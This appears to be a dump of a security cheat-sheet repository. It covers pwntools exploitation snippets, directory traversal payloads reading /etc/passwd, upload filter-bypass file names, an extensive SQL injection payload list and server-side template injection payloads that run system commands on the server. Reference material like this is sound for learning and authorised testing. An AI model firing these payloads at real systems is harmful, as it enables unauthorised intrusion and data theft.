'--gadgets', 144 | help = 'dump binary gadgets', 145 | action ='store_true' 146 | ) 147 | parser.add_argument('-libc', '--ret2libc', 148 | help = 'configure rop for ret2libc', 149 | action ='store_true' 150 | ) 151 | 152 | args = parser.parse_args() 153 | 154 | if (len(sys.argv) == 1): parser.print_help() 155 | else: pwn(args) 156 | ``` 157 | 158 | 159 | ### Common Tasks 160 | 161 | #### Making Connections 162 | 163 | ```python 164 | # local 165 | # proc = process('./') 166 | proc = process('./challenge1') 167 | 168 | # remote 169 | # proc = remote('domain.com', port) 170 | proc = remote('hackme.com', 2048) 171 | ``` 172 | 173 | #### Passing Banners 174 | 175 | ```python 176 | # proc.recvuntil('some string/pattern') 177 | proc.recvuntil('welcome to the challenge, please enter a name: ') 178 | ``` 179 | 180 | #### Sending data 181 | 182 | ```python 183 | # proc.sendline(payload) 184 | proc.sendline(b'A' * 42) 185 | ``` 186 | 187 | #### Catching Shells 188 | 189 | ```python 190 | proc.interactive() 191 | ``` 192 | 193 | #### Finding Offsets 194 | 195 | ```python 196 | test_buffer_len = 42 197 | test_offset = cyclic(test_buffer_len) 198 | # >> test_offset = b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaaka' 199 | 200 | # the byte sequence that overwrote the return pointer 201 | eip_overwritten_bytes = b'aaah' 202 | offset = cyclic_find(eip_overwritten_bytes) 203 | # >> offset = 25 204 | ``` 205 | 206 | #### Packing Addresses 207 | 208 | ```python 209 | 210 | # p32(0xaddress) 211 | return_ptr = p32(0x08048536) 212 | ``` 213 | 214 | #### Unpacking Addresses 215 | 216 | ```python 217 | # u32(b'byte-sequence') 218 | str_bytes = u32(b'abcd') 219 | ``` 220 | 221 | #### Shellcode 222 | 223 | ```python 224 | """ 225 | shellcode = asm(''' 226 | x86 instructions 227 | ''') 228 | """ 229 | 230 | shellcode += asm(''' 231 | xor ebx, ebx 232 | 233 | mov eax, SYS_read 234 | mov ebx, 0x3e8 235 | mov ecx, esp 236 | mov edx, 0xbe 237 | int 0x80 238 | 239 | mov eax, SYS_write 240 | mov ebx, 0x1 241 | mov edx, 0xbe 242 | mov ecx, esp 243 | int 0x80 244 | ''') 245 | ``` 246 | 247 | #### ELF Hooks 248 | 249 | ```python 250 | 251 | elf_binary = ELF('./') 252 | 253 | win_addr = hex(elf_binary.symbols['win']) 254 | 255 | printf_got_addr = hex(elf_binary.got['printf']) 256 | 257 | printf_plt_addr = hex(elf_binary.plt['printf']) 258 | ``` 259 | 260 | #### Fit/Flat 261 | 262 | + Quickly build payload which automatically adjusts for specified padding length 263 | 264 | ```python 265 | # fills the length amount of bytes with garbage padding 266 | payload = fit({ 267 | 0x6c-0xc: p32(canaryValue), 268 | 0x6c: p32(elf.symbols['win']) 269 | }, length=0x6c + 4) # -> padding 270 | 271 | p.sendline(payload) # whoo 272 | p.interactive() 273 | 274 | ``` 275 | 276 | + combo it 277 | 278 | ```python 279 | payload = fit({ 280 | 0x6c-0xc: p32(canaryValue), 281 | 0x6c: p32(elf.symbols['win']) 282 | }, length=cyclic_find(b'aala')) # -> padding 283 | 284 | p.sendline(payload) 285 | p.interactive() 286 | ``` 287 | 288 | 289 | ### Logging & Debugging 290 | 291 | #### Debug mode 292 | 293 | ```shell 294 | $ python3 exploit.py DEBUG 295 | ``` 296 | 297 | #### Detailed Logs 298 | 299 | ```python 300 | context.log_level = 'debug' 301 | ``` 302 | 303 | #### Custom Logs 304 | 305 | ```python 306 | log.info(f'Win @ {win_addr}') 307 | ``` 308 | 309 | #### Logging Off 310 | 311 | ```python 312 | logging.disable() 313 | ``` 314 | -------------------------------------------------------------------------------- /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # Contributing 2 | 3 | The most valuable contributions to the repo are any at all, but ones which add, new, previously unexplored, content are super neat. This could be new sections in existing articles or new articles all together. Consider including: 4 | 5 | + Diagrams 6 | + References 7 | + Examples 8 | + Relevant code snippets 9 | + Scripts 10 | 11 | 12 | Unlike many repos on GitHub no contribution to this repo will not be considered 'to small'. Even minimal additions or changes can be extremely valuable, especially where I have made horrible mistakes! 13 | 14 | ## Thank You! 15 | 16 | Lastly thanks for contributing to this project! I hope that one day this repo can be a useful resource for people. 17 | 18 | ~ yes Cringe <3 -------------------------------------------------------------------------------- /Cryptography/PaddingOracle.md: -------------------------------------------------------------------------------- 1 | # Padding Oracle 2 | 3 | Coming soon ... -------------------------------------------------------------------------------- /Cryptography/README.md: -------------------------------------------------------------------------------- 1 | # Cryptography 2 | 3 | ## Symmetric 4 | 5 | ## Asymmetric 6 | 7 | -------------------------------------------------------------------------------- /Cryptography/TLSCipherSuites.md: -------------------------------------------------------------------------------- 1 | # TLS & SSL Cipher Suites 2 | 3 | Coming soon ... -------------------------------------------------------------------------------- /Mobile/Android/DynamicAnalysis/README.md: -------------------------------------------------------------------------------- 1 | # Android Dynamic Analysis 2 | 3 | ## ‣ [SSL Pinning](./SSLPinning.md) -------------------------------------------------------------------------------- /Mobile/Android/DynamicAnalysis/SSLPinning.md: -------------------------------------------------------------------------------- 1 | # SSL Pinning 2 | 3 | Coming soon ... -------------------------------------------------------------------------------- /Mobile/Android/StaticAnalysis/Drozer.md: -------------------------------------------------------------------------------- 1 | # Static Analysis With Drozer 2 | 3 | Coming soon ... -------------------------------------------------------------------------------- /Mobile/Android/StaticAnalysis/MobSF.md: -------------------------------------------------------------------------------- 1 | # Static Analysis With MobSF 2 | 3 | Coming soon ... -------------------------------------------------------------------------------- /Mobile/Android/StaticAnalysis/README.md: -------------------------------------------------------------------------------- 1 | # Android Static Analysis 2 | 3 | ## ‣ [Drozer](./Drozer.md) 4 | ## ‣ [MobSF](./MobSF.md) -------------------------------------------------------------------------------- /Mobile/IOS/DynamicAnalysis/README.md: -------------------------------------------------------------------------------- 1 | # IOS Dynamic Analysis 2 | 3 | Coming soon ... -------------------------------------------------------------------------------- /Mobile/IOS/StaticAnalysis/README.md: -------------------------------------------------------------------------------- 1 | # IOS Static Analysis 2 | 3 | Coming soon ... -------------------------------------------------------------------------------- /Mobile/README.md: -------------------------------------------------------------------------------- 1 | # Mobile Security Testing 2 | 3 | ## Android 4 | 5 | ### [Static Analysis](./Andorid/StaticAnalysis/README.md) 6 | 7 | #### ‣ [Drozer](./Android/Drozer.md) 8 | 9 | #### ‣ [MobSF](./Android/MobSF.md) 10 | 11 | ### [Dynamic Analysis](./Android/DynamicAnalysis/README.md) 12 | 13 | #### ‣ [SSL Pinning](./Android/SSLPinning.md) 14 | 15 | ## IOS 16 | 17 | ### [Static Analysis](./IOS/StaticAnalysis/README.md) 18 | 19 | ### [Dynamic Analysis](./IOS/DynamicAnalysis/README.md) -------------------------------------------------------------------------------- /Networks/Cellular/README.md: -------------------------------------------------------------------------------- 1 | # Cellular Network Security -------------------------------------------------------------------------------- /Networks/Ethernet/README.md: -------------------------------------------------------------------------------- 1 | # Ethernet Security -------------------------------------------------------------------------------- /Networks/README.md: -------------------------------------------------------------------------------- 1 | # Network Security Testing 2 | 3 | ## Wireless 4 | 5 | ### ‣ [WiFi](./WiFi/README.md) 6 | 7 | ### ‣ [Cellular](./Cellular/README.md) 8 | 9 | ## Wired 10 | 11 | ### ‣ [Ethernet](./Ethernet/README.md) 12 | 13 | -------------------------------------------------------------------------------- /Networks/WiFi/README.md: -------------------------------------------------------------------------------- 1 | # WiFi Security -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | [SecSheets](https://secsheets.cybernetic.coffee/) 2 | ========== 3 | 4 | SecSheets is a collection of security focused reference 'cheat sheets' for various topics and sub-topics in security. 5 | 6 | 7 | ![IT Security As A Field](./SecurityFieldDiagram.svg) 8 | 9 | 10 | ## Overview 11 | 12 | SecSheets aims to act as a quick reference for exploit categories and to provide an overview of the technical security field. The project aims to provide an overview of all the components and sub-topics that make up various fields in security. Often I have found it fun and helpful to jump between topics in security or to take a deep dive into one niche area. This repo represents that and aims to support it by providing a flyover of many different topics. Often the battle is not knowing a particular thing existed or was possible and this repo hopes to assist with exposing as much information as possible. 13 | 14 | This project tries to avoid imitating the amazing [Payload-all-the-things](#) repo and instead tries to provide, example driven explanations, quality references to aid further research, and a sound overview of particular topics in security. 15 | 16 | # Contents 17 | 18 | ### ‣ [Binary Exploitation](./Binary%20Exploitation/README.md) 19 | ### ‣ [Web](./Web/README.md) 20 | 25 | -------------------------------------------------------------------------------- /Web/BrokenAccessControl/IDOR.md: -------------------------------------------------------------------------------- 1 | # Insecure Direct Object References (IDOR) 2 | 3 | IDOR vulnerabilities are a common class of access control vulnerability in web applications which occur when the web application uses client controlled parameters/inputs to refer to objects directly. 4 | 5 | IDOR vulnerabilities can often lead to exposure of private or restricted information, or the ability to modify unintended records in the database. 6 | 7 | 8 | ## Breakdown of IDOR Vulnerability 9 | 10 | 11 | ![IDOR Diagram](./images/IDOR_Diagram.png) 12 | 13 | 14 | 15 | Here the web application uses a vulnerable configuration to retrieve a users private profile data via their profile id (14), which is passed as a parameter in the request sent to the backend. Since the server makes no attempt to validate if the user attempting to access the resource is the legitimate user an attacker could simply enumerate the profile_overview parameter to leak user data. -------------------------------------------------------------------------------- /Web/BrokenAccessControl/images/IDOR_Diagram.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Angus-C-git/SecSheets/caf14c100f86e99cad862998cf9573c103f811d8/Web/BrokenAccessControl/images/IDOR_Diagram.png -------------------------------------------------------------------------------- /Web/DirectoryTraversal/DirectoryTraversal.md: -------------------------------------------------------------------------------- 1 | # Directory Traversal 2 | 3 | + Path or directory traversal is a typical file access vulnerability which leads to the ability to include files from the host servers file system, including those from the web application) which lie outside of the web hosts `root directory` 4 | + Path traversal occurs when the web server allows relative path changing to occur due to poor validation and sanitization of user-supplied or controlled file names or paths 5 | + In general vulnerable hosts allow directories to be traversed via the `../` unix notation resulting in an attacker being able to climb to higher directories in the file system tree to include sensitive files like `/etc/passwd` which live outside of the directory that the webserver is serving from initially 6 | 7 | ``` 8 | . 9 | ├── bin 10 | ├── boot 11 | ├── cdrom 12 | ├── dev 13 | ├── etc 14 | ├── home 15 | ├── lib 16 | ├── lib32 17 | ├── lib64 18 | ├── libx32 19 | ├── lost+found 20 | ├── media 21 | ├── mnt 22 | ├── opt 23 | ├── proc 24 | ├── root 25 | ├── run 26 | ├── sbin 27 | ├── snap 28 | ├── srv 29 | ├── swapfile 30 | ├── sys 31 | ├── tmp 32 | ├── usr 33 | └── var 34 | ├── backups   35 | └── www -> web server serves from here ↥ ../ 36 | ├── css 37 | ├── index.html 38 | └── js 39 | ``` 40 | 41 | ## Approach 42 | 43 | + Path traversal involves an attacker leveraging the allowance of `../` or its variations to traverse/move to higher directories outside of the web servers root directory 44 | + For example on linux based apache servers typically `var/www/html` is the root directory where web server files are hosted 45 | 46 | ### Payloads 47 | 48 | + Payloads may be appended from places like `domain.com/index.html/payload` 49 | + Or from URL parameters like `?filename=../../../etc/passwd` 50 | 51 | #### General 52 | 53 | `/../../../etc/passwd` 54 | 55 | `..\` 56 | 57 | `....//` 58 | 59 | `....\/` 60 | 61 | #### Encoded 62 | 63 | + Note the following all represent `../` or `..\` in differing levels of URL encoding 64 | 65 | `%2e%2e%2f` 66 | 67 | `%2e%2e/` 68 | 69 | `..%2f` 70 | 71 | `%2e%2e%5c` 72 | 73 | `%2e%2e\` 74 | 75 | `..%5c` 76 | 77 | `%252e%252e%255c` 78 | 79 | `..%255c` 80 | 81 | `..%c0%af` 82 | 83 | ### Exfiltration 84 | 85 | + Sometimes a file included via path traversal will not be 'renderable' on the frontend and may instead return in a broken image or another format 86 | 87 | #### Image Based 88 | 89 | + To exfiltrate the contents of an included image through firefox use the network dev tab to download the broken image and cat it or open it in a IDE to see the included content 90 | + Alternatively use a web proxy to view the raw response 91 | 92 | 93 | ## Resources 94 | 95 | + [OWASP Path traversal](https://owasp.org/www-community/attacks/Path_Traversal) -------------------------------------------------------------------------------- /Web/FileInclusion/LFI/LFI.md: -------------------------------------------------------------------------------- 1 | # Local File Inclusion (LFI) 2 | 3 | LFI vulnerabilities refer to any scenario where an attacker is able to induce the web application/web server into accessing or executing files on the host. The 'included' files may be attacker uploaded scripts, files which exist already on the web server (or file system), or another users files. LFI is a relatively broad category of vulnerability which is generally very specific to the web application. 4 | 5 | 6 | 7 | 8 | 9 | 10 | ## Resources 11 | 12 | + [ACunetix LIF](https://www.acunetix.com/blog/articles/local-file-inclusion-lfi/) -------------------------------------------------------------------------------- /Web/FileInclusion/RFI/RFI.md: -------------------------------------------------------------------------------- 1 | # Remote File Inclusion (RFI) 2 | 3 | Remote file inclusion is a category of exploit where an attacker can manipulate a web application into including a remote file. This file may be uploaded by the attacker or included through some other means like a URL or a rich text like form or 'sandbox'. 4 | 5 | 6 | ## Arbitrary File Upload 7 | 8 | + RFI from an arbitrary file upload is a typical exploitation strategy that occurs when a web application 9 | + Does not perform backend validation of file uploads 10 | + Employees simplistic whitelisting 11 | + Employees simplistic blacklisting 12 | + Employees front end validation 13 | + RFI can often lead to 14 | + Remote code execution 15 | + XXS 16 | + XXE 17 | + Phishing vectors 18 | 19 | ### Filter Bypasses 20 | 21 | + These may be used in naming files to be uploaded or included in a web application 22 | + A typical payload within these files may be a webshell or command injection payload 23 | 24 | `general_file.payloadFileType.ExpectedFileType` 25 | 26 | `profile_image.php.jpeg` 27 | 28 | `profile_image.php.png` 29 | 30 | `profile_image.php%20.png` -------------------------------------------------------------------------------- /Web/Injection/CommandInjection/CommandInjection.md: -------------------------------------------------------------------------------- 1 | # Command Injection 2 | -------------------------------------------------------------------------------- /Web/Injection/SQLI/SQLI.md: -------------------------------------------------------------------------------- 1 | SQL Injection (SQLI) 2 | ==================== 3 | 4 | 5 | SQL injection (SQLi) is a type of data and control confusion vulnerability which arises when client side elements are combined with SQL queries in an insecure fashion. SQLi typically occurs when an attacker can escape parameters in the query early to directly alter the syntax of the query. 6 | 7 | ## Anatomy of a SQLI Payload 8 | 9 | ![vuln_login_query_anatomy](https://user-images.githubusercontent.com/44337835/131428667-6e5dd6b6-31d8-4d91-a3e2-211d166ea1bd.png) 10 | 11 | 12 | ## Tooling 13 | 14 | ### [SQL Map](https://github.com/sqlmapproject/sqlmap#sqlmap-) 15 | 16 | + Completely blind SQLi testing tool 17 | 18 | `python3 sqlmap.py -u https://target.domain.com?param_to_test=1` 19 | 20 | ### [jSQL](https://github.com/ron190/jsql-injection#description) 21 | 22 | + Alternative to SQL map 23 | 24 | ## Basic Identification Payloads 25 | 26 | ### Error Based 27 | 28 | The following payloads aim to create a malformed SQL query which violates the SQL syntax. If debugging messages are enabled these payloads will produce error messages or broken pages. 29 | 30 | ```sql 31 | ' 32 | ``` 33 | 34 | ```sql 35 | " 36 | ``` 37 | 38 | ```sql 39 | -- 40 | ``` 41 | 42 | ```sql 43 | # 44 | ``` 45 | 46 | ```sql 47 | , 48 | ``` 49 | 50 | ```sql 51 | % 52 | ``` 53 | 54 | ```sql 55 | '/**/"# -- 56 | ``` 57 | 58 | ### Blind 59 | 60 | The following would cause a vulnerable application to take an approximate `5` seconds longer than normal to return data (or no data) to the page. 61 | 62 | ```sql 63 | ' sleep(5)# 64 | ``` 65 | 66 | ```sql 67 | " sleep(5)# 68 | ``` 69 | 70 | ```sql 71 | '" 1 or sleep(5)# -- 72 | ``` 73 | 74 | ## General Payloads 75 | 76 | ### Overflow Filter Conditions 77 | 78 | These payloads aim to make applications which display the data returned from a query into some kind of element dynamically display more information then intended by defeating delimiters that formed part of the intended query. 79 | 80 | ```sql 81 | ' OR 1='1 82 | ``` 83 | 84 | ```sql 85 | ' OR 1=1 86 | ``` 87 | 88 | ```sql 89 | " OR 1="1 90 | ``` 91 | 92 | ```sql 93 | " OR 1=1 94 | ``` 95 | 96 | ```sql 97 | ' OR 'x'='x 98 | ``` 99 | 100 | ```sql 101 | ' or " 102 | ``` 103 | 104 | ```sql 105 | -- or # 106 | ``` 107 | 108 | ```sql 109 | ' OR '1 110 | ``` 111 | 112 | ```sql 113 | ' OR 1 -- - 114 | ``` 115 | 116 | ```sql 117 | " OR "" = " 118 | ``` 119 | 120 | ```sql 121 | " OR 1 = 1 -- - 122 | ``` 123 | 124 | ```sql 125 | ' OR '' = ' 126 | ``` 127 | 128 | ```sql 129 | 'LIKE' 130 | ``` 131 | 132 | ```sql 133 | ' LIKE 1=1 134 | ``` 135 | 136 | ```sql 137 | ' LIKE 1 138 | ``` 139 | 140 | ```sql 141 | ' HAVING 1=1 142 | ``` 143 | 144 | ```sql 145 | " HAVING 1=1 146 | ``` 147 | 148 | ```sql 149 | AND 1 150 | ``` 151 | 152 | ```sql 153 | AND 0 154 | ``` 155 | 156 | ```sql 157 | AND true 158 | ``` 159 | 160 | ```sql 161 | AND false 162 | ``` 163 | 164 | ```sql 165 | 1-false 166 | ``` 167 | 168 | ```sql 169 | 1-true 170 | ``` 171 | 172 | ### Order By && Group By Manipulation 173 | 174 | ```sql 175 | " ORDER BY 1 176 | ``` 177 | 178 | ```sql 179 | ' ORDER BY 1 180 | ``` 181 | 182 | ```sql 183 | " GROUP BY 1,2 184 | ``` 185 | 186 | ```sql 187 | ' GROUP BY 1,2 188 | ``` 189 | 190 | ```sql 191 | ' GROUP BY column_names having 1=1 -- 192 | ``` 193 | 194 | ### Blind/Time Delay Based 195 | 196 | ```sql 197 | ' sleep(5) 198 | ``` 199 | 200 | ```sql 201 | " sleep(5) 202 | ``` 203 | 204 | ```sql 205 | ' or sleep(5) 206 | ``` 207 | 208 | ```sql 209 | " or sleep(5) 210 | ``` 211 | 212 | ## Union Payloads 213 | 214 | + Union based payloads exploit a vulnerable query structure, typically containing a SELECT, to inject an appended query 215 | onto a legitimate query 216 | + In doing so leaking the response of the additional query out through the medium of the original query 217 | + Response table 218 | + Search results page 219 | + UNION based payloads require the exploiter to have knowledge of the number of columns referenced in the original query in order to craft a valid UNION statement 220 | 221 | ![UNION_payload_diagram](https://user-images.githubusercontent.com/44337835/131428665-0e89e3d6-f13f-4f80-a1ef-e8df98484ac8.png) 222 | 223 | ### Column Number Enumeration 224 | 225 | + Aims to determine how many columns are present in a table via error checking 226 | + Once the injection yields an error the number of columns will be one less than the index of the current injection 227 | 228 | #### Order By Approach 229 | 230 | ```sql 231 | ' ORDER BY 1-- 232 | ' ORDER BY 2-- 233 | ' ORDER BY 3-- 234 | ' ORDER BY 4-- 235 | ' ORDER BY 5-- error 236 | ``` 237 | #### NULL Indexing 238 | 239 | ```sql 240 | ' UNION SELECT NULL-- 241 | ' UNION SELECT NULL,NULL-- 242 | ' UNION SELECT NULL,NULL,NULL-- 243 | ``` 244 | 245 | ### General UNION Payloads 246 | 247 | `' UNION SELECT number,of,columns FROM information_schema.tables; -- ` 248 | 249 | `" UNION SELECT number,of,columns FROM information_schema.tables; -- ` 250 | 251 | `' UNION SELECT number,of,columns FROM known_table_name; -- ` 252 | 253 | 254 | ## Dump Schema 255 | 256 | ### MySQL > PostgreSQL > Microsoft 257 | 258 | `SELECT * FROM information_schema.tables` 259 | 260 | `SELECT * FROM information_schema.columns` 261 | 262 | `SELECT * FROM information_schema.columns WHERE table_name = 'known_table_name'` 263 | 264 | 265 | ### Oracle 266 | 267 | `SELECT * FROM all_tables` 268 | 269 | `SELECT * FROM all_tab_columns` 270 | 271 | ## Blind Payloads 272 | 273 | + Blind SQLi occurs when a web application, or other infrastructure that communicates with a DB, is vulnerable to SQL injection but does not return debugging errors of any kind to the client 274 | + Therefore in order to exploit a blind SQL injection vulnerability an attacker must find a way to enumerate tables and columns in the database in order to exfiltrate database contents 275 | + This is typically done using SQL conditional statements and time delay queries 276 | + Many tools like SQLmap use this kind of approach 277 | + Alternatively an attacker can inject payloads and see which ones result in the page returning results or not 278 | 279 | ![Blind_SQLi_Diagram](https://user-images.githubusercontent.com/44337835/131428661-ecd15e14-81d1-4d25-87f5-e512a6ed6e3d.png) 280 | 281 | ### General Payloads 282 | 283 | #### MySQL 284 | 285 | `' UNION SELECT IF(SUBSTRING(table_name,1,1) = CHAR(character_decimal_value), sleep(5), 'no') FROM information_schema.tables LIMIT 1;# ` 286 | 287 | `' UNION SELECT IF(SUBSTRING(user_password,1,1) = CHAR(50),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM users WHERE user_id = 1;` 288 | 289 | #### PostgreSQL 290 | 291 | `SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END` 292 | 293 | #### Microsoft 294 | 295 | `IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10' ` 296 | 297 | # Payload Utilities 298 | 299 | + SQL artifacts to place within payloads 300 | 301 | ## SQL Comments 302 | 303 | ### MySQL 304 | 305 | ```sql 306 | # 307 | 308 | /*comment*/ 309 | 310 | -- note the space here is critical 311 | 312 | ``` 313 | 314 | ### SQLite 315 | 316 | ```sql 317 | # 318 | 319 | /**/ 320 | 321 | --comment 322 | ``` 323 | 324 | ### PostgreSQL 325 | 326 | ```sql 327 | --comment 328 | 329 | /*comment*/ 330 | ``` 331 | 332 | ### Microsoft SQL 333 | 334 | ```sql 335 | --comment 336 | 337 | /*comment*/ 338 | ``` 339 | 340 | ### Oracle 341 | 342 | ```sql 343 | --comment 344 | ``` 345 | 346 | ## Substrings 347 | 348 | ### General Syntax 349 | 350 | `SUBSTRING('the_string', start_index, number_of_chars)` 351 | 352 | ### MySQL 353 | 354 | `SUBSTRING('string', 1, 1)` 355 | 356 | ### PostgreSQL 357 | 358 | `SUBSTRING('string', 1, 1)` 359 | 360 | ### Oracle 361 | 362 | `SUBSTR('string', 1, 1)` 363 | 364 | ### Microsoft 365 | 366 | `SUBSTRING ('string', 1,1)` 367 | 368 | ## String Concatenation 369 | 370 | + Join strings together 371 | + In some cases can be used to join columns 372 | 373 | ### MySQL 374 | 375 | `CONCAT(str,ing)` 376 | 377 | ### PostgreSQL 378 | 379 | `'str'||'ING'` 380 | 381 | ### Oracle 382 | 383 | `'str'||'ing'` 384 | 385 | ### Microsoft 386 | 387 | `'str'||'ing'` 388 | 389 | ## CHAR Codes 390 | 391 | + [ASCII table](https://www.asciitable.xyz) 392 | 393 | ## Fingerprinting Payloads 394 | 395 | ### Versions 396 | 397 | + Used to determine database version numbers 398 | 399 | #### MySQL 400 | 401 | `SELECT @@version` 402 | 403 | #### PostgreSQL 404 | 405 | `SELECT version()` 406 | 407 | #### Oracle 408 | 409 | `SELECT banner FROM v$version` 410 | 411 | `SELECT version FROM v$instance` 412 | 413 | #### Microsoft 414 | 415 | `SELECT @@version` 416 | 417 | ### Database Name 418 | 419 | #### MySQL 420 | 421 | `SELECT DATABASE()` 422 | 423 | ### System User 424 | 425 | #### MySQL 426 | 427 | `SELECT SYSTEM_USER();` 428 | 429 | ### Session User Instance 430 | 431 | #### MySQL 432 | 433 | `SELECT SESSION_USER();` 434 | 435 | ## Filter Evasion 436 | 437 | ### Bitwise Alternatives 438 | 439 | `' || 1='1` 440 | 441 | `' & 1='1'` 442 | 443 | ## Resources 444 | 445 | + [Portswigger SQLi Cheatsheet](https://portswigger.net/web-security/sql-injection/cheat-sheet) 446 | + [Portswigger UNION attacks](https://portswigger.net/web-security/sql-injection/union-attacks) 447 | + [Portswigger SQLi](https://portswigger.net/web-security/sql-injection) 448 | + [OWASP Blind SQLi](https://owasp.org/www-community/attacks/Blind_SQL_Injection) 449 | + [Seclists zk blind](https://seclists.org/bugtraq/2005/Feb/att-288/zk-blind.txt) 450 | + [ASCII Tables](https://www.asciitable.xyz/) 451 | + [SQL W3C](https://www.w3schools.com/sql/default.asp) 452 | + [SQL map](https://github.com/sqlmapproject/sqlmap) 453 | + [SQLi Payloads](https://github.com/payloadbox/sql-injection-payload-list) 454 | + [JSQL](https://github.com/ron190/jsql-injection) 455 | + [Pentest-Tools Blog SQLi](https://pentest-tools.com/blog/sql-injection-attacks) 456 | + [SQL Syntax Notes](https://docs.google.com/document/d/1GA5L7uLJupvaW6j0L7agtpfKE21ifDzt_pSFvvUfNQU/edit?usp=sharing) 457 | -------------------------------------------------------------------------------- /Web/Injection/SQLI/images/Blind_SQLi_Diagram.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Angus-C-git/SecSheets/caf14c100f86e99cad862998cf9573c103f811d8/Web/Injection/SQLI/images/Blind_SQLi_Diagram.png -------------------------------------------------------------------------------- /Web/Injection/SQLI/images/UNION_payload_diagram.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Angus-C-git/SecSheets/caf14c100f86e99cad862998cf9573c103f811d8/Web/Injection/SQLI/images/UNION_payload_diagram.png -------------------------------------------------------------------------------- /Web/Injection/SQLI/images/vuln_login_query_anatomy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Angus-C-git/SecSheets/caf14c100f86e99cad862998cf9573c103f811d8/Web/Injection/SQLI/images/vuln_login_query_anatomy.png -------------------------------------------------------------------------------- /Web/Injection/TemplateInjection/Server-SideTemplateInjection.md: -------------------------------------------------------------------------------- 1 | # Server-Side Template Injection {SSTI} 2 | 3 | Server Side template injection is a vulnerability that arises when the web application utilizes a templating engine and excepts user input directly into a templated field or allows a user to use template commands directly without; limit, sanitization or restriction 4 | 5 | 6 | ## Testing for Server-Side Template Injection 7 | 8 | + Fuzz URL parameters with template syntax 9 | + Where page editing which returns somewhere on the web application is possible fuzz those inputs 10 | + Attempt to induce template related errors which reveal the template engine in use 11 | + Craft a exploit specific to the templating engine 12 | 13 | ![Determining Template Engine](./images/Template_Engine_Decision_Diagram.png) 14 | 15 | ~ From [Portswigger](https://portswigger.net/web-security/images/template-decision-tree.png) ~ 16 | 17 | ### Typical Examples of Injectable Areas 18 | 19 | #### URL Parameters 20 | 21 | `domain.net/message?=close_template_tag}}insert_payload` 22 | 23 | `domain.net/message?=close_template_tag%>insert_payload` 24 | 25 | #### Page Editors 26 | 27 | ``` 28 |

Add ur html yay

29 | 30 |

{{payload}}

31 | 32 | ``` 33 | 34 | ### Identification Polyglots 35 | 36 | `${{<%[%'"}}%\` 37 | 38 | ## Payloads By Template Engine 39 | 40 | ### ERB 41 | 42 | #### Tag Syntax 43 | 44 | `<%= %>` 45 | 46 | #### Identification Payloads 47 | 48 | `<%= 7*7 %>` 49 | 50 | #### General Payloads 51 | 52 | `<%= system("cat /path/to/file") %>` 53 | 54 | `<%= Dir.entries('/') %>` 55 | 56 | `<%= File.open('/example/arbitrary-file').read %>` 57 | 58 | ### Tornado 59 | 60 | #### Tag Syntax 61 | 62 | `{{ }}` 63 | 64 | #### Identification Payloads 65 | 66 | `{{7*7}}` 67 | 68 | #### General Payload 69 | 70 | `{% import os %}{{ os.popen("cat /path/to/file").read() }}` 71 | 72 | #### FreeMarker 73 | 74 | ##### Tag Syntax 75 | 76 | `${ }` 77 | 78 | #### Identification Payloads 79 | 80 | `${7*7}` 81 | 82 | ##### General Payload 83 | 84 | `<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("cat /path/to/file") }` 85 | 86 | ### Velocity 87 | 88 | #### Tag Syntax 89 | 90 | `$class` 91 | 92 | #### Identification Payloads 93 | 94 | ``` 95 | #set( $a = "Velocity" ) 96 | $foo 97 | ``` 98 | 99 | #### General Payload 100 | 101 | ``` 102 | #set($str=$class.inspect("java.lang.String").type) 103 | #set($chr=$class.inspect("java.lang.Character").type) 104 | #set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("cat /path/to/file"))$ex.waitFor() 105 | #set($out=$ex.getInputStream()) 106 | #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read())) 107 | #end 108 | ``` 109 | 110 | ### Handlebars 111 | 112 | #### Tag Syntax 113 | 114 | `{{ }}` 115 | 116 | #### General Payload 117 | 118 | ``` 119 | wrtz{{#with "s" as |string|}} 120 | {{#with "e"}} 121 | {{#with split as |conslist|}} 122 | {{this.pop}} 123 | {{this.push (lookup string.sub "constructor")}} 124 | {{this.pop}} 125 | {{#with string.split as |codelist|}} 126 | {{this.pop}} 127 | {{this.push "return require('child_process').exec('cat /path/to/file');"}} 128 | {{this.pop}} 129 | {{#each conslist}} 130 | {{#with (string.sub.apply 0 codelist)}} 131 | {{this}} 132 | {{/with}} 133 | {{/each}} 134 | {{/with}} 135 | {{/with}} 136 | {{/with}} 137 | {{/with}} 138 | ``` 139 | 140 | ### Smarty 141 | 142 | #### Tag Syntax 143 | 144 | #### General Payload 145 | 146 | `{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"",self::clearConfig())}` 147 | 148 | ## Dumping Template Objects 149 | 150 | + It may not always be possible to escalate a SSTI vulnerability to gain RCE 151 | + However where template injection is possible there is still a high potential for sensitive data exposure and vulnerability chaining 152 | + One way to develop a meaningful exploit from a SSTI is to use the native templating languages environment variables to dump all the objects used in the context including custom developer ones 153 | 154 | ### JAVA Based Engines 155 | 156 | `${T(java.lang.System).getenv()}` 157 | 158 | ## Resources 159 | 160 | + [ERB Syntax](https://www.stuartellis.name/articles/erb/) 161 | + [Server-Side template injection in tornado](https://opsecx.com/index.php/2016/07/03/server-side-template-injection-in-tornado/) 162 | + [ERB Template-Injection](https://www.trustedsec.com/blog/rubyerb-template-injection/) 163 | + [Black Hat Server-Side Template Injection](https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf) -------------------------------------------------------------------------------- /Web/Injection/TemplateInjection/images/Template_Engine_Decision_Diagram.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Angus-C-git/SecSheets/caf14c100f86e99cad862998cf9573c103f811d8/Web/Injection/TemplateInjection/images/Template_Engine_Decision_Diagram.png -------------------------------------------------------------------------------- /Web/Injection/TemplateInjection/images/template-decision-tree.png: -------------------------------------------------------------------------------- 